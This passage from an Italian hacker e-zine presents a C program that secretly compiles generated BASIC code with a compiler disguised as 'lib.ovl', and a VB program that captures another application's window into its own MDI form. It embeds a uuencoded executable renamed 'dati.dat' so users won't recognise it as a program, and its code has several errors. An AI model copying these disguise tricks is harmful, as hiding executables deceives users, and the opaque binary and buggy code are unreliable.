netrun9.txt
E' piu' semplice a farsi che a dirsi..
questo e' il programma che avevo buttato giu':
PS: necessita per essere eseguito del compilatore powerbasic ( LIB.OLV .. l'ho
solo rinominato
evitando di cambiare i bytes iniziali per comodita' .. infatti se provate a
rinominare a vostra
volta LIB.OVL in PWB.EXE e ad eseguirlo ve ne renderete conto)
Lo trovate accluso a tutti gli altri programmi nel file di archivio
www.spippolatori.com/memberspp/master/archivio.ace
Directory \VALUTA
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
FUNZIONE.C
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
#include <stdio.h>
#include <math.h>
#include <conio.h>
#include <stdlib.h>
#include <dos.h>
#include <string.h>
main()
{
char p[100],s[100];
char a[100],b[100];
char c[100];
FILE *f;
printf("Inserimento dei dati di prova..ENTER=DEFAULT:\n\n");
printf("F(x)=");
gets(s);
if(strlen(s)==0)
{
strcpy(s,"sin(x^2/9+y^2/9)/(x^2+y^2+1)");
printf("%s\n",s);
}
printf("da X1 =");
gets(a);
if(strlen(a)==0)
{
strcpy(a,"0");
printf("%s\n",a);
}
printf(" a X2 =");
gets(b);
if(strlen(b)==0)
{
strcpy(b,"3.14-3.14/16");
printf("%s\n",b);
}
printf(" STEP =");
gets(c);
if(strlen(c)==0)
{
strcpy(c,"3.14/16");
printf("%s\n",c);
}
f=fopen("fn.bas","wb");
fprintf(f,"x1=%s\r\n",a);
Pagina 31
netrun9.txt
fprintf(f,"x2=%s\r\n",b);
fprintf(f,"S=%s\r\n",c);
fprintf(f,"FUNCTION pippo(x)\r\n");
fprintf(f,"pippo=%s\r\n",s);
fprintf(f,"END FUNCTION\r\n");
fprintf(f,"open \"out\" for output as #1\r\n");
fprintf(f,"for n=x1 to x2 step S\r\n");
fprintf(f,"print #1," ";n;str$(pippo(n));\r\n");
fprintf(f,"next n\r\n");
fprintf(f,"close #1\r\n");
fclose(f);
rename("lib.ovl","pbc.exe");
system("pbc.exe -CE fn.bas > ok.pas");
rename("pbc.exe","lib.ovl");
system("fn.exe");
remove("fn.bas");
remove("fn.exe");
remove("ok.pas");
f=fopen("out","rb");
while(!feof(f))
{
fscanf(f,"%s",s);
fscanf(f,"%s",p);
printf("%s -> %s\n",s,p);
}
fclose(f);
remove("out");
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Pensate all'utilita' di poter accludere ad un proprio programma un altro solo
in forma di sorgente..
Come dico sempre il limite e' solo la fantasia di chi usa simili procedure.
Per la cronaca ho provato diversi compilatori minimi per eseguire lavori di
questo tipo anche
in altri -settori- .. emh.. :)) hi hi hi
la mia valutazione e' la seguente.
Powerbasic 2.0 : (si trova free) molto efficiente, abbastanza contenuto nelle
dimensioni (220k ca ..
e non si riesce comprimere a causa di una complessa table interna)
Molte funzioni, e' quasi un clone del visual basic.
Turbo pascal : ridottissimo nelle dimensioni (senza librerie strane) necessita
solo dei file
TPC.EXE e TURBO.TPL (che sono 2 purtroppo) .. cmq TPC.EXE e' possibile
comprimerlo con wwpack
fino a portarlo alle dimensioni di 50k ca. che assieme ai 40k del turbo.tpl
danno un compiler
versatile e potente di soli 90k ca.
Turbo C: potente .. in tema.. ma di dimensioni notevoli. Con tutto quello che
gli serve dietro non
si riesce a star sotto ai 600k... un po' troppo.
.. ho provato anche altri compilatori minimi .. zbasic (9k!!) , minic (150k),
personalC (250k)
ecc.. ma col powerbasic ho ottenuto i migliori risultati.
Pagina 32
netrun9.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXX
. - .
//-------------------------------------------------------------------------------------------------8. Ladrone, come grabbare una applicazione esterna in un proprio programma con
MDIChild
//-------------------------------------------------------------------------------------------------Ecco qui la sezione -esoterica- di questo articolo.. un programma in VB! he he
(Vi sembrava possibile che in un mio articolo non inserissi qualcosa di
inerente il VB!? :)) )
E' una soluzione da vero furfante.
Premessa:
Abbiamo sviluppato un programma VB (ma in c++ e' la stessa cosa!) usando i form
MDI.
Come cosa sono? .. he he .. sono quei form che permettono di inglobarne altri
al proprio
interno in maniera da avere un processo -padre- che ne governa altri come figli
(child)
Un tipico esempio di questo e' Aggressor Pro, Il mio Scanus (mio e di Devil)
scanner netbios -> www.spippolatori.com/memberspp/master/scanus.zip, Opera,
ecc..
Ecco.. sarebbe bello se potessimo -grabbare- (rubare) un programma fatto da un
altro e portarlo
invisibilmente dentro il nostro form MDI .. :))
Beh ..si puo' fare. E non e' nemmeno troppo complicato.
E' sufficiente rintracciare l'handle della applicazione che si vuole grabbare e
quindi
settargli le specifiche di MDIChild come segue
Applicazione_da_grabbare -> Handle
Nostr_form_MDI -> handle2
GetWindowLong(handle, GWL_STYLE)
GetWindowLong(handle, GWL_EXSTYLE)
GetWindowLong(handle, GWL_WNDPROC)
pippo=GetWindow(handle2, GW_CHILD)
SetParent(handle, pippo)
Le prime tre istruzioni settano il processo da grabbare come child e le altre
due certificano il
nostro form come parent.
.. meglio un esempio pratico? ..eccolo qua.
LADRONE.
Ladrone e' un programma VB che apre un semplice form MDI vuoto al suo interno.
Nella stessa directory e' presente un programma esterno (non fatto da me)
PINGER.EXE
che per l'occasione io ho rinominato come dati.dat (per far si che un utente
non troppo
Pagina 33
netrun9.txt
smaliziato non pensi che sia un programma eseguibile!)
Compilando il programma ed eseguendolo (dati.dat presente nella stessa
directory!) .. pinger
apparira' come per magia dentro la nostra applicazione della quale sembrera' un
processo
figlio. Simpatico no!?.. :))
..ovviamente il sistema e' un sistema generico.. ogni programma puo' essere
grabbato con
questo sistema indipendentemente dal compilatore usato per crearlo.
Anche programmi estremamente complessi nella struttura quali Explorer, Outlook
Express o
Windows Commander (tanto per fare degli esempi) posso venire inclusi in una
specifica
(e diversa) applicazione... bastera' solo conoscere l'header del loro form
principale
di visualizzazione.
Il programma di esempio e' formato dai file :
DATI.dat (ex pinger.exe che e' possibile trovare in coda a questa sezione in
formato
uuencode oppure nel solito archivio.ace)
ruba.bas (un modulo contenente le dichiarazioni delle Api e le procedure
necessarie
al -grabbaggio- e al rilascio delle applicazioni sotto MDIChild.)
barabba.frm
(il programma VB per la gestione -visual- di tutta la cosa.)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
MODULO
RUBA.BAS
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
Attribute VB_Name = "ruba"
' api, costanti e strutture (non tutte servono al programma)
Public Declare Function GetWindowText Lib "user32" _
Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, _
ByVal cch As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" _
Alias "ShellExecuteA" _
(ByVal hWnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As
Long
Public Declare Function GetCapture Lib "user32" () As Long
Public Declare Function SetParent Lib "user32" _
(ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Public Declare Function SetWindowLong Lib "user32" _
Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long
Public Declare Function WindowFroCHoint Lib "user32" _
(ByVal x As Long, ByVal y As Long) As Long
Public Declare Function SetCapture Lib "user32" _
(ByVal hWnd As Long) As Long
Public Declare Function ReleaseCapture Lib "user32" () As Long
Public Declare Function ClientToScreen Lib "user32" _
(ByVal hWnd As Long, lpPoint As POINT) As Long
Public Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function MoveWindow Lib "user32" _
(ByVal hWnd As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, _
Pagina 34
netrun9.txt
ByVal nHeight As Long, ByVal bRepaint As Long) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" _
(ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As
Long
Public Declare Function IsWindow Lib "user32" (ByVal hWnd As Long) As Long
Public Declare Function GetWindow Lib "user32" _
(ByVal hWnd As Long, ByVal wCmd As Long) As Long
Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" _
(ByVal hdc As Long, ByVal x As Long, ByVal y As Long, _
ByVal lpString As String, ByVal nCount As Long) As Long
Public Declare Function SetWindowPos Lib "user32" _
(ByVal hWnd As Long, ByVal hWndInsertAfter As Long, _
ByVal x As Long, ByVal y As Long, ByVal cx As Long, _
ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" _
(ByVal hWnd As Long, ByVal nIndex As Long) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" _
(ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, _
ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function GetCursorPos Lib "user32" _
(ByRef lpPoint As POINT) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As
Long
Public Declare Function GetMenu Lib "user32" (ByVal hWnd As Long) As Long '
hMenu
Public Declare Function SetMenu Lib "user32" _
(ByVal hWnd As Long, ByVal hmenu As Long) As Long 'C BOOL
Public Declare Function IsWindowVisible Lib "user32" _
(ByVal hWnd As Long) As Long 'C BOOL
Public Type POINT
x As Long
y As Long
End Type
Public Declare Function DefFrameProc _
Lib "user32" Alias "DefFrameProcA" ( _
ByVal hWnd As Long, _
ByVal hWndMDIClient As Long, _
ByVal uMsg As Long, _
ByVal wParam As Long, _
lParam As Any) As Long
Public Declare Function DefMDIChildProc _
Lib "user32" Alias "DefMDIChildProcA" ( _
ByVal hWnd As Long, _
ByVal uMsg As Long, _
ByVal wParam As Long, lParam As Any) As Long
Public Const WM_COMMAND = &H111
Public Const WM_MENUCHAR = &H120
Public Const WM_MENUSELECT = &H11F
Public Const WM_MDISETMENU = &H230
Public Const WM_MDIREFRESHMENU = &H234
Public Const WM_MOVE = &H3
Public Const WM_WINDOWPOSCHANGING = &H46
Public Const WM_MOVING = &H216
Public Const WM_SIZING = &H214
Public Const WM_ACTIVATE = &H6
Public Const WM_ACTIVATEAPP = &H1C
Public Const WM_CHILDACTIVATE = &H22
Public Const WM_CLOSE = &H10
Public Const WM_DESTROY = &H2
Public Const WM_MDIDESTROY = &H221
Public Const WM_SYSCOMMAND = &H112
Public Const WA_ACTIVE = 1
Public Const WA_CLICKACTIVE = 2
Public Const WA_INACTIVE = 0
Public Const SC_CLOSE = &HF060&
Public Const WM_SETFOCUS = &H7
Public Const WS_CHILD = &H40000000
Public Const WS_CLIPSIBLINGS = &H4000000
Pagina 35
netrun9.txt
Public Const WS_CLIPCHILDREN = &H2000000
Public Const WS_EX_MDICHILD = &H40&
Public Const WS_EX_WINDOWEDGE = &H100&
Public Const GW_CHILD = 5
Public Const GWL_STYLE = (-16)
Public Const GWL_EXSTYLE = (-20)
Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOREDRAW = &H8
Public Const SWP_NOOWNERZORDER = &H200
Public Const SWP_NOSIZE = &H1
Public Const GWL_WNDPROC = (-4)
Private a1 As Long
Private a2 As Long
Private a3 As Long
Private a4 As Long
Private a5 As Long
Private a6 As Long
Private a7 As Long
Public Property Get QUALE() As Long
QUALE = a1
End Property
Private Function par(ByVal dw As Long) As Integer
par = (dw And &HFFFF0000) \ 65536
End Function
' //-------------------- Procedure
Public Function FAISU(ByVal HANDLE As Long, Optional operazione As Boolean =
True) As Long
Dim trova As Long
trova = SWP_NOMOVE Or SWP_NOSIZE
If operazione Then
trova = trova Or HANDLE_TOPMOST
Else
trova = trova Or HANDLE_NOTOPMOST
End If
FAISU = SetWindowPos(HANDLE, 0&, 0&, 0&, 0&, 0&, trova)
End Function
Public Function ACCHIAPPA(ByVal CH As Long, ByVal MP As MDIForm) As Long
Dim c1 As Long
If 0 <> a1 Then
Call MOLLA
End If
a1 = CH
a3 = GetWindowLong(CH, GWL_STYLE)
a4 = GetWindowLong(CH, GWL_EXSTYLE)
a2 = GetWindowLong(CH, GWL_WNDPROC)
c1 = GetWindow(MP.hWnd, GW_CHILD)
a5 = SetParent(CH, c1)
Call SetWindowLong(CH, GWL_STYLE, WS_CHILD Or WS_CLIPSIBLINGS Or
WS_CLIPCHILDREN)
Call SetWindowLong(CH, GWL_EXSTYLE, WS_EX_MDICHILD Or WS_EX_WINDOWEDGE)
Call MoveWindow(CH, 5, 30, (MP.ScaleWidth / Screen.TwipsPerPixelX) - 10,
(MP.ScaleHeight / Screen.TwipsPerPixelY) - 70, -1&)
a6 = GetMenu(a1)
a7 = GetMenu(MP.hWnd)
Debug.Print "MDI menu = " & a7
Call SetMenu(a1, 0&)
Call SetMenu(MP.hWnd, a6)
ACCHIAPPA = True
End Function
Public Function MOLLA() As Long
If 0 = a2 Then Exit Function
Call SetMenu(a1, a6)
Call SetMenu(fMain.hWnd, a7)
Call SendMessage(fMain.hWnd, WM_MDIREFRESHMENU, 0&, 0&)
Call SetParent(a1, a5)
Pagina 36
netrun9.txt
Call SetWindowLong(a1, GWL_STYLE, a3)
Call SetWindowLong(a1, GWL_EXSTYLE, a4)
a2 = 0: a1 = 0: a3 = 0: a4 = 0
a5 = 0: a6 = 0: a7 = 0: a8 = 0
MOLLA = True
End Function
Public Function POSSIBILE(ByVal HANDLE As Long) As Boolean
Dim OK As VbMsgBoxResult
If 0 = IsWindow(HANDLE) Then Exit Function
HANDLE = SU(HANDLE)
If fMain.hWnd = HANDLE Then Exit Function
If a1 = HANDLE Then Exit Function
If UCase(NomeClasse(HANDLE)) = "PROGMAN" Then Exit Function
If UCase(NomeClasse(HANDLE)) = "SHELL_TRAYWND" Then Exit Function
If UCase(NomeClasse(HANDLE)) = "WNDCLASS_DESKED_GSK" Then Exit Function
If UCase(NomeClasse(HANDLE)) = "IDEOWNER" Then Exit Function
If UCase(NomeClasse(HANDLE)) = "MS_WINDOC" Then Exit Function
POSSIBILE = True
End Function
Public Function NomeClasse(ByVal HANDLE As Long) As String
Dim passa As String
If 0 = IsWindow(HANDLE) Then Exit Function
passa = String$(256, vbNullChar)
If 0 = GetClassName(HANDLE, passa, 255) Then
a8 = 0
Else
If InStr(passa, vbNullChar) Then
NomeClasse = Left$(passa, InStr(passa, vbNullChar) - 1)
End If
End If
End Function
Public Function SU(ByVal HANDLE As Long) As Long
Dim un As Long
Dim du As Long
du = HANDLE
If 0 <> IsWindow(du) Then
Do
un = GetParent(du)
If 0 = un Then
un = du
Exit Do
End If
du = un
Loop
End If
SU = un
End Function
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
BARABBA.fmr
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
VERSION 5.00
Begin VB.MDIForm prendi
AutoShowChildren=
0
'False
BackColor
=
&H8000000C&
Caption
=
"BARABBA (Il ladrone) ;-)"
ClientHeight
=
6540
ClientLeft
=
3000
ClientTop
=
3150
ClientWidth
=
8625
Icon
=
"prendi.frx":0000
LinkTopic
=
"MDIForm1"
End
Attribute VB_Name = "prendi"
Attribute VB_GlobalNameSpace = False
Pagina 37
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub MDIForm_Load()
netrun9.txt
prendi.Show
' Esegue minimizzato il programma "pingatore.exe"
' Rinominato alla bisogna dati.dat
alfa = Shell("dati.dat", vbMinimizedFocus)
' aspetta un secondo in modo che tutti gli handle
' siano bel piazzati al loro posto! ;-)
P = 1: S = Timer
Do While Timer < S + P
Loop
' trova l'handle del programma pingatore
Handle_di_pingatore = FindWindow("#32770", "Pingatore
")
' lo ruba all'interno del form MCI (prendi)
' riattivandolo come normal_focus
ACCHIAPPA Handle_di_pingatore, prendi
End Sub
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
dati.dat (in formato UUENCODE)
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::
<----------- TAGLIA QUI
-------------------------------------------------------------------------->
begin 644 dati.dat
M35HI``8````(`!``__\(```!````````'``!````````````````````````
M``````````````````````$`````````````````````````````````````
M``````````````````````````````````````````````````"Z$``.'[0)
MS2&X`4S-(9"05&AI<R!P<F]G<F%M(')E<75I<F5S($UI8W)O<V]F="!7:6YD
M;W=S+@T*)"`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@($Y%!@&Q`F@&``````H+
M$0``(`!`K0\"````$0`1``D`$`!``,@`4P)?`G$"&0H``!`!!`````(`````
M``````.C`#D)4`TY"4`!.P@0'0(0_0'#`!`=`@$/`H(`$!V?`!H""P$0'8@!
M,@)%$!`=>RB2`[H`$!UA`:$#H``0':``K0.O`!`=V`"[`VX`$!UN`,,#41(0
M'1PL-@6*`A`=&@5J!?8"$!WD!*`%D@`0';0`K07F`!`=.@&^!<,24`U=%_0&
MX0%!#:X)!``#@`$``````#<'+P`P'`&```````6`#0``````9@<1`#`<-`$`
M````Q`@+`#`</@$`````SP@.`#`<2@$`````W0@8`#`<5P$`````]0@B`#`<
M8P$`````%PD*`#`<<`$`````(0D-`#`<?0$`````.0D0`#`<`/\`````20D.
M`#`<`?\`````5PD'`#`<`O\`````7@D8`#`<`_\`````=@D4`#`<!/\`````
MB@D*`#`<!?\`````#H`!``````!W!P(`,!PY`0`````"@`8``````'D'/P`P
M'$V$`````+@',``P'#6(`````.@'.P`P'!V,`````",(,``P'`60`````%,(
M0``P'.V3`````),(,0`P'-67``````:``0``````+@D+`#`<\8<````````$
M34%)3@1024Y'"T%"3U)41$E!3$]'#$%"3U)41$E!3$]'[email protected]$1)04Q/
M1PQ04DE.5$1)04Q/1T(,4%))3E1%4E-%5%50#5!224Y415)315154$((4&EN
M9V%T;W(````!``H`$@`9`!T`(@`K`#(`-P``"%1/3TQ(14Q0!U=)3E-/0TL&
M2T523D5,`T=$20154T52"$M%64)/05)$!DM%4DY%3`154T52"$M%64)/05)$
M__\`S3\""@``S3\"#`$`S3\"R@,`S3\"K`0`S3\"<PD`S3\"\@T`S3\"#0X`
MS3\"-0X`S3\"YP(`S3\"'00`S3\")0,`S3\"<P,`S3\">0\`S3\#.@``S3\#
M`@``S3\$+@``S3\$=```S3\$30``S3\$`@``S3\%<0$`S3\%-P``S3\%[P``
MS3\%`@``S3\%5`$`S3\&22@`S3\&`@``S3\&,0``S3\&2@``S3\&2@$`S3\&
MEPD`S3\&Z`@`S3\&61L`S3\&BA8`S3\&DPT`S3\&BPX`S3\&>`,`S3\&H0,`
MS3\&(P8`S3\&#QD`S3\&Q!H`S3\&;`$`S3\&C@\`S3\&J08`S3\&XQL`S3\&
MI1P`S3\&=AP`S3\&/B$`S3\&?!X`S3\&H!\`S3\&6R,`S3\&$AT`S3\&U1T`
MS3\&+1X`S3\&TR0`S3\&K24`S3\&P"4`S3\&\"4`S3\&N2<`S3\&D"<`S3\&
M)"<!S3\&("8!S3\&B"8!S3\&LB8`S3\'A0``S3\'OP``S3\'^0``S3\'`@``
MS3\'3@``S3\(`@``S3\()P``S3\(5```S3\)E@``S3\)`@``S3\*/0``S3\+
MPP,`S3\+@00`S3\+5`P`S3\+W@P`S3\+^@P`S3\+X@8`S3\+%`<`S3\+K@@`
Pagina 38
netrun9.txt
MS3\+^P@`S3\+=08`S3\+E`8`S3\+K@8`S3\+R`8`S3\+U@X`S3\+B`T`S3\+
M30D`S3\+"PX`S3\+>1$`S3\+*PX`S3\++@\`S3\+A`\`S3\+7@8`S3\+F@X`
MS3\+)@L`S3\+R`\`S3\+.P<`S3\+O0<`S3\+W@4`S3\+Q@L`S3\+#0P`S3\+
MD0D`S3\+L@\`S3\+'1``S3\+7!``S3\+C1``S3\+Y!``S3\+.A$`S3\+EA$`
MS3\+JQ(`S3\+?A4`S3\+O14`S3\++!,`S3\+AA,`S3\+2!,`S3\+U!8`S3\+
M(A<`S3\+0Q<`S3\+F!<`S3\+OQ<`S3\++Q@`S3\+GQ@`S3\+(!D`S3\+EQD`
MS3\+O1D`S3\+11H`S3\+]Q4`S3\+-1L`S3\+/1P`S3\+DQX`S3\+6QT`S3\+
MN!X`S3\+XAT`S3\+2A\`S3\+VQ\`S3\+[2``S3\+42(`S3\+M2,`S3\+4"4`
MS3\+AB4`S3\+CQP`S3\+OQP`S3\+[QP`S3\+)1T`S3\+`R<`S3\+JB<`S3\+
MUR<`S3\+[2<`S3\+^2<`S3\+4B@`S3\+@2@`S3\+GB@`S3\+(2D`S3\+>"D`
MS3\+Q"D`S3\+!BH`S3\+VRH`S3\+4BL`S3\+4RH`S3\+MBL`S3\+^"L`S3\+
MEP``S3\+10``S3\+<0`!S3\+,P$!S3\+BP$`S3\+W`$`S3\+^@(`S3\+00,`
MS3\+@@,`S3\+:P0`S3\+Z`0`S3\+(`4`S3\+I@4`S3\+9`D`S3\+:`T`S3\+
M70X`S3\+4`\`S3\+F!H`S3\,`@``S3\,>@``S3\,L0``S3\,3P$`S3\,/0(`
MS3\,10,`S3\,E`,`S3\,W`,`S3\,=`(`S3\,BP(`S3\,"`0`S3\,[P(`S3\,
M>P,`S3\,*00`S3\,9@0`S3\,Z`0`S3\,'0(`S3\-`@``S3\-'```S3\--@``
MS3\-6```S3\-K```S3\-%0$`S3\-9P$`S3\-D0$`S3\-R`$`S3\-/@(`S3\M=P(`S3\-C`(`S3\-HP(`S3\-]P(`S3\-'`,`S3\-7P,`S3\-?P,`S3\-FP,`
MS3\-8`0`S3\-NP0`S3\.F```S3\.`@``S3\.(0``S3\.1```S3\/`@``S3\/
M&0``S3\//@``S3\/80``S3\/?P``S3\/H0``S3\/#@$`S3\0`@``S3\070``
MS3\080``S3\0Q0H`S3\0`@L`S3\0J`L`S3\0V@L`S3\0]`L`S3\0&`P`S3\0
M60P`S3\0A0P`S3\0]@P`S3\0@@T`S3\0+0$`S3\01P$`S3\0F@H`S3\0B`,`
MS3\0RP,`S3\0[`@`S3\0?`D`S3\07`@`S3\0KP<`S3\0H`0`S3\0+`4`S3\0
MA@41_P#-/Q`#%P#-/Q!B"@#-/Q#?%@#-/Q!C%@#-/Q"N%@#-/Q#_$0#-/Q`%
M$@#-/Q`3$@#-/Q`4"@#-/Q#O`P#-/Q`Y!`#-/Q`;%P#-/Q#Q#0#-/Q#8!0#M/Q`(!@#-/Q`M!@#-/Q!-!@`````,4&EN9V%T;W(N97AE`````````````$$P
M```N!/__]@`&`````````````````&\`"@``````````````````````````
M`"IO3$%.1TQ/040@+2T@17)R;W(@:6X@;&]A9&EN9R!M;V1U;&4`5VEN1&5B
M=6<`5TE.3D]42499`````````%6+[,G*`@"[___H"@"#^_]T!+0^S2'+N/__
M.]AU!2Z+'@@&PX/_`'0"ZQ:+!#/2BTTRT>#1TN+ZB\J+T+@`0LTAPU6+[('$
M@/X>+H,^"`;_=`+K+HV>@/ZX``%3_W8$%E-0FO__``!;"\"X__]T$(U6@+@`
M`!93%E)0FO__``#H&04?R<("`&K_FO__``#,58OL@\3T'E97CEX*,_^+=@9.
[email protected]`'0#Z0T#.S8<`'(#Z00#T>:+WM'FT>8#\P-U(H-^"/]U+CMU"'1H
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
[email protected]#IZ0$FBEP!@^,#T>,N_Z=-!U4'-`A?"*4()H!\!/]U%@;_=A(F_W0&
M+O\>%``'B4;XB5;ZZRLFBT0&B4;X,\`FBD0$_LC1X(O8T>#1X`/#Q5X$BU\B
Pagina 39
netrun9.txt
M`]B+1PA(B4;ZCEX0)HM\`B:*'(/C#]'C+O^GK@?.!QT(T0?P!QT(&`@="!T(
M'0@="!T('0@="!T('0@=".E4`8M&^B;V1`$$=`0!!>L.ZP:+R(<-B_F!____
M=?3I-0&+1OB+5OHF]D0!!'0'`04!50+K$>L)B\B'#8E5`HOY@?___W7QZ0T!
MBT;XZ[<SP%`.N`H'4#/`4%`SP%":`08``.GQ`,5>!(M?*":+3`1)T>$#V8L'
M!E`F_W0&+O\>%``'X\J.7A")1OB)5OKI/O_%7@2+?R@FBTP$2='A`_F+!8M?
M*B8#7`8SR8H/0XO[`_F*#8@M4090'E.:404```=9B`V.7A")1OB)5OH+TG4#
MZ7O_Z?C^)HM\`B:+7`2#^P9V`^EH_]'C+O^GO`@=",H(W0CP"`,)$0D?"2Z`
M/FX``'4)@04R_H%%`0!`ZT@N@#YN``!U"8$%,@:!10$`@.LU+H`^;@``=0F!
M!3(.@44!`,#K(BZ`/FX``'4$@04R%NL4+H`^;@``=02!!3)<ZP:!!3VBZP"#
